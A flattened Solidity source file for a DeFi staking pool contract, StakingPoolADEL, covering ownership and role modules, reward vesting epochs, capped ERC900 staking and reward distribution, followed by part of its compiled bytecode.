@openzeppelin\contracts-ethereum-package\contracts\ownership\Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable is Initializable, Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: contracts\common\Base.sol pragma solidity ^0.5.12; /** * Base contract for all modules */ contract Base is Initializable, Context, Ownable { address constant ZERO_ADDRESS = address(0); function initialize() public initializer { Ownable.initialize(_msgSender()); } } // File: contracts\core\ModuleNames.sol pragma solidity ^0.5.12; /** * @dev List of module names */ contract ModuleNames { // Pool Modules string internal constant MODULE_ACCESS = "access"; string internal constant MODULE_SAVINGS = "savings"; string internal constant MODULE_INVESTING = "investing"; string internal constant MODULE_STAKING = "staking"; string internal constant MODULE_DCA = "dca"; string internal constant MODULE_REWARD = "reward"; // Pool tokens string internal constant TOKEN_AKRO = "akro"; string internal constant TOKEN_ADEL = "adel"; // External Modules (used to store addresses of external contracts) string internal constant CONTRACT_RAY = "ray"; } // File: contracts\common\Module.sol pragma solidity ^0.5.12; /** * Base contract for all modules */ contract Module is Base, ModuleNames { event PoolAddressChanged(address newPool); address public pool; function initialize(address _pool) public initializer { Base.initialize(); setPool(_pool); } function setPool(address _pool) public onlyOwner { require(_pool != ZERO_ADDRESS, "Module: pool address can't be zero"); pool = _pool; emit PoolAddressChanged(_pool); } function getModuleAddress(string memory module) public view returns(address){ require(pool != ZERO_ADDRESS, "Module: no pool"); (bool success, bytes memory result) = pool.staticcall(abi.encodeWithSignature("get(string)", module)); //Forward error from Pool contract if (!success) assembly { revert(add(result, 32), result) } address moduleAddress = abi.decode(result, (address)); // string memory error = string(abi.encodePacked("Module: requested module not found - ", module)); // require(moduleAddress != ZERO_ADDRESS, error); require(moduleAddress != ZERO_ADDRESS, "Module: requested module not found"); return moduleAddress; } } // File: @openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: contracts\modules\reward\RewardManagerRole.sol pragma solidity ^0.5.12; contract RewardManagerRole is Initializable, Context { using Roles for Roles.Role; event RewardManagerAdded(address indexed account); event RewardManagerRemoved(address indexed account); Roles.Role private _managers; function initialize(address sender) public initializer { if (!isRewardManager(sender)) { _addRewardManager(sender); } } modifier onlyRewardManager() { require(isRewardManager(_msgSender()), "RewardManagerRole: caller does not have the RewardManager role"); _; } function addRewardManager(address account) public onlyRewardManager { _addRewardManager(account); } function renounceRewardManager() public { _removeRewardManager(_msgSender()); } function isRewardManager(address account) public view returns (bool) { return _managers.has(account); } function _addRewardManager(address account) internal { _managers.add(account); emit RewardManagerAdded(account); } function _removeRewardManager(address account) internal { _managers.remove(account); emit RewardManagerRemoved(account); } } // File: contracts\modules\reward\RewardVestingModule.sol pragma solidity ^0.5.12; contract RewardVestingModule is Module, RewardManagerRole { event RewardTokenRegistered(address indexed protocol, address token); event EpochRewardAdded(address indexed protocol, address indexed token, uint256 epoch, uint256 amount); event RewardClaimed(address indexed protocol, address indexed token, uint256 claimPeriodStart, uint256 claimPeriodEnd, uint256 claimAmount); using SafeERC20 for IERC20; using SafeMath for uint256; struct Epoch { uint256 end; // Timestamp of Epoch end uint256 amount; // Amount of reward token for this protocol on this epoch } struct RewardInfo { Epoch[] epochs; uint256 lastClaim; // Timestamp of last claim } struct ProtocolRewards { address[] tokens; mapping(address=>RewardInfo) rewardInfo; } mapping(address => ProtocolRewards) internal rewards; uint256 public defaultEpochLength; function initialize(address _pool) public initializer { Module.initialize(_pool); RewardManagerRole.initialize(_msgSender()); defaultEpochLength = 7*24*60*60; } function getRewardInfo(address protocol, address token) public view returns(uint256 lastClaim, uint256 epochCount) { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; return (ri.lastClaim, ri.epochs.length); } function registerRewardToken(address protocol, address token, uint256 firstEpochStart) public onlyRewardManager { if(firstEpochStart == 0) firstEpochStart = block.timestamp; //Push zero epoch ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; require(ri.epochs.length == 0, "RewardVesting: token already registered for this protocol"); r.tokens.push(token); ri.epochs.push(Epoch({ end: firstEpochStart, amount: 0 })); emit RewardTokenRegistered(protocol, token); } function setDefaultEpochLength(uint256 _defaultEpochLength) public onlyRewardManager { defaultEpochLength = _defaultEpochLength; } function getEpochInfo(address protocol, address token, uint256 epoch) public view returns(uint256 epochStart, uint256 epochEnd, uint256 rewardAmount) { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; require(ri.epochs.length > 0, "RewardVesting: protocol or token not registered"); require (epoch < ri.epochs.length, "RewardVesting: epoch number too high"); if(epoch == 0) { epochStart = 0; }else { epochStart = ri.epochs[epoch-1].end; } epochEnd = ri.epochs[epoch].end; rewardAmount = ri.epochs[epoch].amount; return (epochStart, epochEnd, rewardAmount); } function getLastCreatedEpoch(address protocol, address token) public view returns(uint256) { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; require(ri.epochs.length > 0, "RewardVesting: protocol or token not registered"); return ri.epochs.length-1; } function claimRewards() public { address protocol = _msgSender(); ProtocolRewards storage r = rewards[protocol]; //require(r.tokens.length > 0, "RewardVesting: call only from registered protocols allowed"); if(r.tokens.length == 0) return; //This allows claims from protocols which are not yet registered without reverting for(uint256 i=0; i < r.tokens.length; i++){ _claimRewards(protocol, r.tokens[i]); } } function claimRewards(address protocol, address token) public { _claimRewards(protocol, token); } function _claimRewards(address protocol, address token) internal { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; uint256 epochsLength = ri.epochs.length; require(epochsLength > 0, "RewardVesting: protocol or token not registered"); Epoch storage lastEpoch = ri.epochs[epochsLength-1]; uint256 previousClaim = ri.lastClaim; if(previousClaim == lastEpoch.end) return; // Nothing to claim yet if(lastEpoch.end < block.timestamp) { ri.lastClaim = lastEpoch.end; }else{ ri.lastClaim = block.timestamp; } uint256 claimAmount; Epoch storage ep = ri.epochs[0]; uint256 i; // Searching for last claimable epoch for(i = epochsLength-1; i > 0; i--) { ep = ri.epochs[i]; if(ep.end < block.timestamp) { // We've found last fully-finished epoch if(i < epochsLength-1) { // We have already started current epoch i++; // Go back to currently-running epoch ep = ri.epochs[i]; } break; } } if(ep.end > block.timestamp) { //Half-claim uint256 epStart = ri.epochs[i-1].end; uint256 claimStart = (previousClaim > epStart)?previousClaim:epStart; uint256 epochClaim = ep.amount.mul(block.timestamp.sub(claimStart)).div(ep.end.sub(epStart)); claimAmount = claimAmount.add(epochClaim); i--; } //Claim rest for(i; i > 0; i--) { ep = ri.epochs[i]; uint256 epStart = ri.epochs[i-1].end; if(ep.end > previousClaim) { if(previousClaim > epStart) { uint256 epochClaim = ep.amount.mul(ep.end.sub(previousClaim)).div(ep.end.sub(epStart)); claimAmount = claimAmount.add(epochClaim); } else { claimAmount = claimAmount.add(ep.amount); } } else { break; } } IERC20(token).safeTransfer(protocol, claimAmount); emit RewardClaimed(protocol, token, previousClaim, ri.lastClaim, claimAmount); } function createEpoch(address protocol, address token, uint256 epochEnd, uint256 amount) public onlyRewardManager { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; uint256 epochsLength = ri.epochs.length; require(epochsLength > 0, "RewardVesting: protocol or token not registered"); uint256 prevEpochEnd = ri.epochs[epochsLength-1].end; require(epochEnd > prevEpochEnd, "RewardVesting: new epoch should end after previous"); ri.epochs.push(Epoch({ end: epochEnd, amount:0 })); _addReward(protocol, token, epochsLength, amount); } function addReward(address protocol, address token, uint256 epoch, uint256 amount) public onlyRewardManager { _addReward(protocol, token, epoch, amount); } function addRewards(address[] calldata protocols, address[] calldata tokens, uint256[] calldata epochs, uint256[] calldata amounts) external onlyRewardManager { require( (protocols.length == tokens.length) && (protocols.length == epochs.length) && (protocols.length == amounts.length), "RewardVesting: array lengths do not match"); for(uint256 i=0; i<protocols.length; i++) { _addReward(protocols[i], tokens[i], epochs[i], amounts[i]); } } /** * @notice Add reward to existing epoch or crete a new one * @param protocol Protocol for reward * @param token Reward token * @param epoch Epoch number - can be 0 to create new Epoch * @param amount Amount of Reward token to deposit */ function _addReward(address protocol, address token, uint256 epoch, uint256 amount) internal { ProtocolRewards storage r = rewards[protocol]; RewardInfo storage ri = r.rewardInfo[token]; uint256 epochsLength = ri.epochs.length; require(epochsLength > 0, "RewardVesting: protocol or token not registered"); if(epoch == 0) epoch = epochsLength; // creating a new epoch if (epoch == epochsLength) { uint256 epochEnd = ri.epochs[epochsLength-1].end.add(defaultEpochLength); if(epochEnd < block.timestamp) epochEnd = block.timestamp; //This generally should not happen, but just in case - we generate only one epoch since previous end ri.epochs.push(Epoch({ end: epochEnd, amount: amount })); } else { require(epochsLength > epoch, "RewardVesting: epoch is too high"); Epoch storage ep = ri.epochs[epoch]; require(ep.end > block.timestamp, "RewardVesting: epoch already finished"); ep.amount = ep.amount.add(amount); } emit EpochRewardAdded(protocol, token, epoch, amount); IERC20(token).safeTransferFrom(_msgSender(), address(this), amount); } } // File: contracts\modules\staking\IERC900.sol pragma solidity ^0.5.12; /** * @title ERC900 Simple Staking Interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md */ interface IERC900 { event Staked(address indexed user, uint256 amount, uint256 total, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 total, bytes data); function stake(uint256 amount, bytes calldata data) external; function stakeFor(address user, uint256 amount, bytes calldata data) external; function unstake(uint256 amount, bytes calldata data) external; function totalStakedFor(address addr) external view returns (uint256); function totalStaked() external view returns (uint256); function token() external view returns (address); function supportsHistory() external pure returns (bool); // NOTE: Not implementing the optional functions // function lastStakedFor(address addr) external view returns (uint256); // function totalStakedForAt(address addr, uint256 blockNumber) external view returns (uint256); // function totalStakedAt(uint256 blockNumber) external view returns (uint256); } // File: @openzeppelin\contracts-ethereum-package\contracts\access\roles\CapperRole.sol pragma solidity ^0.5.0; contract CapperRole is Initializable, Context { using Roles for Roles.Role; event CapperAdded(address indexed account); event CapperRemoved(address indexed account); Roles.Role private _cappers; function initialize(address sender) public initializer { if (!isCapper(sender)) { _addCapper(sender); } } modifier onlyCapper() { require(isCapper(_msgSender()), "CapperRole: caller does not have the Capper role"); _; } function isCapper(address account) public view returns (bool) { return _cappers.has(account); } function addCapper(address account) public onlyCapper { _addCapper(account); } function renounceCapper() public { _removeCapper(_msgSender()); } function _addCapper(address account) internal { _cappers.add(account); emit CapperAdded(account); } function _removeCapper(address account) internal { _cappers.remove(account); emit CapperRemoved(account); } uint256[50] private ______gap; } // File: contracts\modules\staking\StakingPoolBase.sol pragma solidity ^0.5.12; /** * @title ERC900 Simple Staking Interface basic implementation * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md */ contract StakingPoolBase is Module, IERC900, CapperRole { // @TODO: deploy this separately so we don't have to deploy it multiple times for each contract using SafeMath for uint256; // Token used for staking ERC20 stakingToken; // The default duration of stake lock-in (in seconds) uint256 public defaultLockInDuration; // To save on gas, rather than create a separate mapping for totalStakedFor & personalStakes, // both data structures are stored in a single mapping for a given addresses. // // It's possible to have a non-existing personalStakes, but have tokens in totalStakedFor // if other users are staking on behalf of a given address. mapping (address => StakeContract) public stakeHolders; // Struct for personal stakes (i.e., stakes made by this address) // unlockedTimestamp - when the stake unlocks (in seconds since Unix epoch) // actualAmount - the amount of tokens in the stake // stakedFor - the address the stake was staked for struct Stake { uint256 unlockedTimestamp; uint256 actualAmount; address stakedFor; } // Struct for all stake metadata at a particular address // totalStakedFor - the number of tokens staked for this address // personalStakeIndex - the index in the personalStakes array. // personalStakes - append only array of stakes made by this address // exists - whether or not there are stakes that involve this address struct StakeContract { uint256 totalStakedFor; uint256 personalStakeIndex; Stake[] personalStakes; bool exists; } bool public userCapEnabled; mapping(address => uint256) public userCap; //Limit of pool tokens which can be minted for a user during deposit uint256 public defaultUserCap; bool public stakingCapEnabled; uint256 public stakingCap; bool public vipUserEnabled; mapping(address => bool) public isVipUser; uint256 internal totalStakedAmount; uint256 public coeffScore; event VipUserEnabledChange(bool enabled); event VipUserChanged(address indexed user, bool isVip); event StakingCapChanged(uint256 newCap); event StakingCapEnabledChange(bool enabled); //global cap event DefaultUserCapChanged(uint256 newCap); event UserCapEnabledChange(bool enabled); event UserCapChanged(address indexed user, uint256 newCap); event Staked(address indexed user, uint256 amount, uint256 totalStacked, bytes data); event Unstaked(address indexed user, uint256 amount, uint256 totalStacked, bytes data); event setLockInDuration(uint256 defaultLockInDuration); event CoeffScoreUpdated(uint256 coeff); /** * @dev Modifier that checks that this contract can transfer tokens from the * balance in the stakingToken contract for the given address. * @dev This modifier also transfers the tokens. * @param _address address to transfer tokens from * @param _amount uint256 the number of tokens */ modifier canStake(address _address, uint256 _amount) { require( stakingToken.transferFrom(_address, address(this), _amount), "Stake required"); _; } modifier isUserCapEnabledForStakeFor(uint256 stake) { if (stakingCapEnabled && !(vipUserEnabled && isVipUser[_msgSender()])) { require((stakingCap > totalStaked() && (stakingCap-totalStaked() >= stake)), "StakingModule: stake exeeds staking cap"); } if(userCapEnabled) { uint256 cap = userCap[_msgSender()]; //check default user cap settings if (defaultUserCap > 0) { uint256 totalStaked = totalStakedFor(_msgSender()); //get new cap if (defaultUserCap >= totalStaked) { cap = defaultUserCap.sub(totalStaked); } else { cap = 0; } } require(cap >= stake, "StakingModule: stake exeeds cap"); cap = cap.sub(stake); userCap[_msgSender()] = cap; emit UserCapChanged(_msgSender(), cap); } _; } modifier isUserCapEnabledForUnStakeFor(uint256 unStake) { _; if(userCapEnabled){ uint256 cap = userCap[_msgSender()]; cap = cap.add(unStake); if (cap > defaultUserCap) { cap = defaultUserCap; } userCap[_msgSender()] = cap; emit UserCapChanged(_msgSender(), cap); } } modifier checkUserCapDisabled() { require(isUserCapEnabled() == false, "UserCapEnabled"); _; } modifier checkUserCapEnabled() { require(isUserCapEnabled(), "UserCapDisabled"); _; } function initialize(address _pool, ERC20 _stakingToken, uint256 _defaultLockInDuration) public initializer { stakingToken = _stakingToken; defaultLockInDuration = _defaultLockInDuration; Module.initialize(_pool); CapperRole.initialize(_msgSender()); } function setDefaultLockInDuration(uint256 _defaultLockInDuration) public onlyOwner { defaultLockInDuration = _defaultLockInDuration; emit setLockInDuration(_defaultLockInDuration); } function setUserCapEnabled(bool _userCapEnabled) public onlyCapper { userCapEnabled = _userCapEnabled; emit UserCapEnabledChange(userCapEnabled); } function setStakingCapEnabled(bool _stakingCapEnabled) public onlyCapper { stakingCapEnabled= _stakingCapEnabled; emit StakingCapEnabledChange(stakingCapEnabled); } function setDefaultUserCap(uint256 _newCap) public onlyCapper { defaultUserCap = _newCap; emit DefaultUserCapChanged(_newCap); } function setStakingCap(uint256 _newCap) public onlyCapper { stakingCap = _newCap; emit StakingCapChanged(_newCap); } function setUserCap(address user, uint256 cap) public onlyCapper { userCap[user] = cap; emit UserCapChanged(user, cap); } function setUserCap(address[] memory users, uint256[] memory caps) public onlyCapper { require(users.length == caps.length, "SavingsModule: arrays length not match"); for(uint256 i=0; i < users.length; i++) { userCap[users[i]] = caps[i]; emit UserCapChanged(users[i], caps[i]); } } function setVipUserEnabled(bool _vipUserEnabled) public onlyCapper { vipUserEnabled = _vipUserEnabled; emit VipUserEnabledChange(_vipUserEnabled); } function setVipUser(address user, bool isVip) public onlyCapper { isVipUser[user] = isVip; emit VipUserChanged(user, isVip); } function setCoeffScore(uint256 coeff) public onlyCapper { coeffScore = coeff; emit CoeffScoreUpdated(coeff); } function isUserCapEnabled() public view returns(bool) { return userCapEnabled; } function iStakingCapEnabled() public view returns(bool) { return stakingCapEnabled; } /** * @dev Returns the timestamps for when active personal stakes for an address will unlock * @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved * @param _address address that created the stakes * @return uint256[] array of timestamps */ function getPersonalStakeUnlockedTimestamps(address _address) external view returns (uint256[] memory) { uint256[] memory timestamps; (timestamps,,) = getPersonalStakes(_address); return timestamps; } /** * @dev Returns the stake actualAmount for active personal stakes for an address * @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved * @param _address address that created the stakes * @return uint256[] array of actualAmounts */ function getPersonalStakeActualAmounts(address _address) external view returns (uint256[] memory) { uint256[] memory actualAmounts; (,actualAmounts,) = getPersonalStakes(_address); return actualAmounts; } function getPersonalStakeTotalAmount(address _address) public view returns(uint256) { uint256[] memory actualAmounts; (,actualAmounts,) = getPersonalStakes(_address); uint256 totalStake; for(uint256 i=0; i <actualAmounts.length; i++) { totalStake = totalStake.add(actualAmounts[i]); } return totalStake; } /** * @dev Returns the addresses that each personal stake was created for by an address * @dev These accessors functions are needed until https://github.com/ethereum/web3.js/issues/1241 is solved * @param _address address that created the stakes * @return address[] array of amounts */ function getPersonalStakeForAddresses(address _address) external view returns (address[] memory) { address[] memory stakedFor; (,,stakedFor) = getPersonalStakes(_address); return stakedFor; } /** * @notice Stakes a certain amount of tokens, this MUST transfer the given amount from the user * @notice MUST trigger Staked event * @param _amount uint256 the amount of tokens to stake * @param _data bytes optional data to include in the Stake event */ function stake(uint256 _amount, bytes memory _data) public isUserCapEnabledForStakeFor(_amount) { createStake( _msgSender(), _amount, defaultLockInDuration, _data); } /** * @notice Stakes a certain amount of tokens, this MUST transfer the given amount from the caller * @notice MUST trigger Staked event * @param _user address the address the tokens are staked for * @param _amount uint256 the amount of tokens to stake * @param _data bytes optional data to include in the Stake event */ function stakeFor(address _user, uint256 _amount, bytes memory _data) public checkUserCapDisabled { createStake( _user, _amount, defaultLockInDuration, _data); } /** * @notice Unstakes a certain amount of tokens, this SHOULD return the given amount of tokens to the user, if unstaking is currently not possible the function MUST revert * @notice MUST trigger Unstaked event * @dev Unstaking tokens is an atomic operation—either all of the tokens in a stake, or none of the tokens. * @dev Users can only unstake a single stake at a time, it is must be their oldest active stake. Upon releasing that stake, the tokens will be * transferred back to their account, and their personalStakeIndex will increment to the next active stake. * @param _amount uint256 the amount of tokens to unstake * @param _data bytes optional data to include in the Unstake event */ function unstake(uint256 _amount, bytes memory _data) public { withdrawStake( _amount, _data); } function unstakeAllUnlocked(bytes memory _data) public returns(uint256) { uint256 unstakeAllAmount = 0; uint256 personalStakeIndex = stakeHolders[_msgSender()].personalStakeIndex; for(uint256 i=personalStakeIndex; i<stakeHolders[_msgSender()].personalStakes.length; i++) { if (stakeHolders[_msgSender()].personalStakes[i].unlockedTimestamp <= block.timestamp) { unstakeAllAmount = unstakeAllAmount+stakeHolders[_msgSender()].personalStakes[i].actualAmount; withdrawStake(stakeHolders[_msgSender()].personalStakes[i].actualAmount, _data); } } return unstakeAllAmount; } /** * @notice Returns the current total of tokens staked for an address * @param _address address The address to query * @return uint256 The number of tokens staked for the given address */ function totalStakedFor(address _address) public view returns (uint256) { return stakeHolders[_address].totalStakedFor; } /** * @notice Returns the current total of tokens staked for an address * @param _address address The address to query * @return uint256 The number of tokens staked for the given address */ function totalScoresFor(address _address) public view returns (uint256) { return stakeHolders[_address].totalStakedFor.mul(coeffScore).div(10**18); } /** * @notice Returns the current total of tokens staked * @return uint256 The number of tokens staked in the contract */ function totalStaked() public view returns (uint256) { //return stakingToken.balanceOf(address(this)); return totalStakedAmount; } /** * @notice Address of the token being used by the staking interface * @return address The address of the ERC20 token used for staking */ function token() public view returns (address) { return address(stakingToken); } /** * @notice MUST return true if the optional history functions are implemented, otherwise false * @dev Since we don't implement the optional interface, this always returns false * @return bool Whether or not the optional history functions are implemented */ function supportsHistory() public pure returns (bool) { return false; } /** * @dev Helper function to get specific properties of all of the personal stakes created by an address * @param _address address The address to query * @return (uint256[], uint256[], address[]) * timestamps array, actualAmounts array, stakedFor array */ function getPersonalStakes( address _address ) public view returns(uint256[] memory, uint256[] memory, address[] memory) { StakeContract storage stakeContract = stakeHolders[_address]; uint256 arraySize = stakeContract.personalStakes.length - stakeContract.personalStakeIndex; uint256[] memory unlockedTimestamps = new uint256[](arraySize); uint256[] memory actualAmounts = new uint256[](arraySize); address[] memory stakedFor = new address[](arraySize); for (uint256 i = stakeContract.personalStakeIndex; i < stakeContract.personalStakes.length; i++) { uint256 index = i - stakeContract.personalStakeIndex; unlockedTimestamps[index] = stakeContract.personalStakes[i].unlockedTimestamp; actualAmounts[index] = stakeContract.personalStakes[i].actualAmount; stakedFor[index] = stakeContract.personalStakes[i].stakedFor; } return ( unlockedTimestamps, actualAmounts, stakedFor ); } /** * @dev Helper function to create stakes for a given address * @param _address address The address the stake is being created for * @param _amount uint256 The number of tokens being staked * @param _lockInDuration uint256 The duration to lock the tokens for * @param _data bytes optional data to include in the Stake event */ function createStake( address _address, uint256 _amount, uint256 _lockInDuration, bytes memory _data) internal canStake(_msgSender(), _amount) { if (!stakeHolders[_msgSender()].exists) { stakeHolders[_msgSender()].exists = true; } stakeHolders[_address].totalStakedFor = stakeHolders[_address].totalStakedFor.add(_amount); stakeHolders[_msgSender()].personalStakes.push( Stake( block.timestamp.add(_lockInDuration), _amount, _address) ); totalStakedAmount = totalStakedAmount.add(_amount); emit Staked( _address, _amount, totalStakedFor(_address), _data); } /** * @dev Helper function to withdraw stakes for the _msgSender() * @param _amount uint256 The amount to withdraw. MUST match the stake amount for the * stake at personalStakeIndex. * @param _data bytes optional data to include in the Unstake event */ function withdrawStake( uint256 _amount, bytes memory _data) internal isUserCapEnabledForUnStakeFor(_amount) { Stake storage personalStake = stakeHolders[_msgSender()].personalStakes[stakeHolders[_msgSender()].personalStakeIndex]; // Check that the current stake has unlocked & matches the unstake amount require( personalStake.unlockedTimestamp <= block.timestamp, "The current stake hasn't unlocked yet"); require( personalStake.actualAmount == _amount, "The unstake amount does not match the current stake"); // Transfer the staked tokens from this contract back to the sender // Notice that we are using transfer instead of transferFrom here, so // no approval is needed beforehand. require( stakingToken.transfer(_msgSender(), _amount), "Unable to withdraw stake"); stakeHolders[personalStake.stakedFor].totalStakedFor = stakeHolders[personalStake.stakedFor] .totalStakedFor.sub(personalStake.actualAmount); personalStake.actualAmount = 0; stakeHolders[_msgSender()].personalStakeIndex++; totalStakedAmount = totalStakedAmount.sub(_amount); emit Unstaked( personalStake.stakedFor, _amount, totalStakedFor(personalStake.stakedFor), _data); } uint256[49] private ______gap; } // File: contracts\modules\staking\StakingPool.sol pragma solidity ^0.5.12; contract StakingPool is StakingPoolBase { event RewardTokenRegistered(address token); event RewardDistributionCreated(address token, uint256 amount, uint256 totalShares); event RewardWithdraw(address indexed user, address indexed rewardToken, uint256 amount); using SafeERC20 for IERC20; using SafeMath for uint256; struct RewardDistribution { uint256 totalShares; uint256 amount; } struct UserRewardInfo { mapping(address=>uint256) nextDistribution; //Next unclaimed distribution } struct RewardData { RewardDistribution[] distributions; uint256 unclaimed; } RewardVestingModule public rewardVesting; address[] internal registeredRewardTokens; mapping(address=>RewardData) internal rewards; mapping(address=>UserRewardInfo) internal userRewards; function setRewardVesting(address _rewardVesting) public onlyOwner { rewardVesting = RewardVestingModule(_rewardVesting); } function registerRewardToken(address token) public onlyOwner { require(!isRegisteredRewardToken(token), "StakingPool: already registered"); registeredRewardTokens.push(token); emit RewardTokenRegistered(token); } function claimRewardsFromVesting() public onlyCapper{ _claimRewardsFromVesting(); } function isRegisteredRewardToken(address token) public view returns(bool) { for(uint256 i=0; i<registeredRewardTokens.length; i++){ if(token == registeredRewardTokens[i]) return true; } return false; } function supportedRewardTokens() public view returns(address[] memory) { return registeredRewardTokens; } function withdrawRewards() public returns(uint256[] memory){ return _withdrawRewards(_msgSender()); } function rewardBalanceOf(address user, address token) public view returns(uint256) { RewardData storage rd = rewards[token]; if(rd.unclaimed == 0) return 0; //Either token not registered or everything is already claimed uint256 shares = getPersonalStakeTotalAmount(user); if(shares == 0) return 0; UserRewardInfo storage uri = userRewards[user]; uint256 reward; for(uint256 i=uri.nextDistribution[token]; i < rd.distributions.length; i++) { RewardDistribution storage rdistr = rd.distributions[i]; uint256 r = shares.mul(rdistr.amount).div(rdistr.totalShares); reward = reward.add(r); } return reward; } function _withdrawRewards(address user) internal returns(uint256[] memory rwrds) { rwrds = new uint256[](registeredRewardTokens.length); for(uint256 i=0; i<registeredRewardTokens.length; i++){ rwrds[i] = _withdrawRewards(user, registeredRewardTokens[i]); } return rwrds; } function _withdrawRewards(address user, address token) internal returns(uint256){ UserRewardInfo storage uri = userRewards[user]; RewardData storage rd = rewards[token]; if(rd.distributions.length == 0) { //No distributions = nothing to do return 0; } uint256 rwrds = rewardBalanceOf(user, token); uri.nextDistribution[token] = rd.distributions.length; if(rwrds > 0){ rewards[token].unclaimed = rewards[token].unclaimed.sub(rwrds); IERC20(token).transfer(user, rwrds); emit RewardWithdraw(user, token, rwrds); } return rwrds; } function createStake(address _address, uint256 _amount, uint256 _lockInDuration, bytes memory _data) internal { _withdrawRewards(_address); super.createStake(_address, _amount, _lockInDuration, _data); } function withdrawStake(uint256 _amount, bytes memory _data) internal { _withdrawRewards(_msgSender()); super.withdrawStake(_amount, _data); } function _claimRewardsFromVesting() internal { rewardVesting.claimRewards(); for(uint256 i=0; i < registeredRewardTokens.length; i++){ address rt = registeredRewardTokens[i]; uint256 expectedBalance = rewards[rt].unclaimed; if(rt == address(stakingToken)){ expectedBalance = expectedBalance.add(totalStaked()); } uint256 actualBalance = IERC20(rt).balanceOf(address(this)); uint256 distributionAmount = actualBalance.sub(expectedBalance); if(actualBalance > expectedBalance) { uint256 totalShares = totalStaked(); rewards[rt].distributions.push(RewardDistribution({ totalShares: totalShares, amount: distributionAmount })); rewards[rt].unclaimed = rewards[rt].unclaimed.add(distributionAmount); emit RewardDistributionCreated(rt, distributionAmount, totalShares); } } } } // File: contracts\deploy\StakingPoolADEL.sol pragma solidity ^0.5.12; contract StakingPoolADEL is StakingPool { }
0x608060405234801561001057600080fd5b50600436106103835760003560e01c8063817b1cd2116101de578063cd4f1be41161010f578063ee09f2bd116100ad578063f34ad1cc1161007c578063f34ad1cc14610e12578063f88bc96014610e31578063fc0c546a14610e5f578063ff0dbf9714610e6757610383565b8063ee09f2bd14610da8578063f0b85b1914610db0578063f269b38714610dcd578063f2fde38b14610dec57610383565b8063e0ac028d116100e9578063e0ac028d14610d06578063e26ff10a14610d34578063e46dbc9814610d7a578063e8297da214610da057610383565b8063cd4f1be414610bcf578063d9180a0014610cf6578063dad618a714610cfe57610383565b8063b92f05cc1161017c578063c4d66de811610156578063c4d66de814610aec578063c7b8981c14610b12578063c8fd6ed014610b1a578063cc6552d114610bc757610383565b8063b92f05cc14610a9b578063bc8cf12714610ab8578063c3143fe514610ac057610383565b80638e73c93a116101b85780638e73c93a14610a5d5780638f32d59b14610a83578063b2bc12c814610a8b578063b50224b514610a9357610383565b8063817b1cd214610a275780638da5cb5b14610a2f5780638dfbcf3614610a3757610383565b80634437152a116102b8578063682b2d5b11610256578063715018a611610230578063715018a61461094b57806371dc760f146109535780638033f6bc146109f95780638129fc1c14610a1f57610383565b8063682b2d5b146109155780636fe0b5a51461091d5780637033e4a61461094357610383565b8063519251871161029257806351925187146108245780635d5576f81461084157806366cb427c1461084957806366e6360d146108ef57610383565b80634437152a146107d057806344c370d3146107f65780634b341aed146107fe57610383565b80631794bb3c1161032557806320bf9620116102ff57806320bf9620146106635780632e7a913d1461076757806339564561146107845780633ace0b40146107aa57610383565b80631794bb3c1461059157806317dfd295146105c7578063201d3be7146105ed57610383565b80630ef96356116103615780630ef9635614610477578063113a589a1461053257806316f0115b1461055157806316f816251461057557610383565b8063081f582e1461038857806309df29f9146103c05780630e89439b146103ca575b600080fd5b6103ae6004803603602081101561039e57600080fd5b50356001600160a01b0316610e8d565b60408051918252519081900360200190f35b6103c8610ee6565b005b6103c8600480360360408110156103e057600080fd5b8135919081019060408101602082013564010000000081111561040257600080fd5b82018360208201111561041457600080fd5b8035906020019184600183028401116401000000008311171561043657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f3b945050505050565b6103c86004803603606081101561048d57600080fd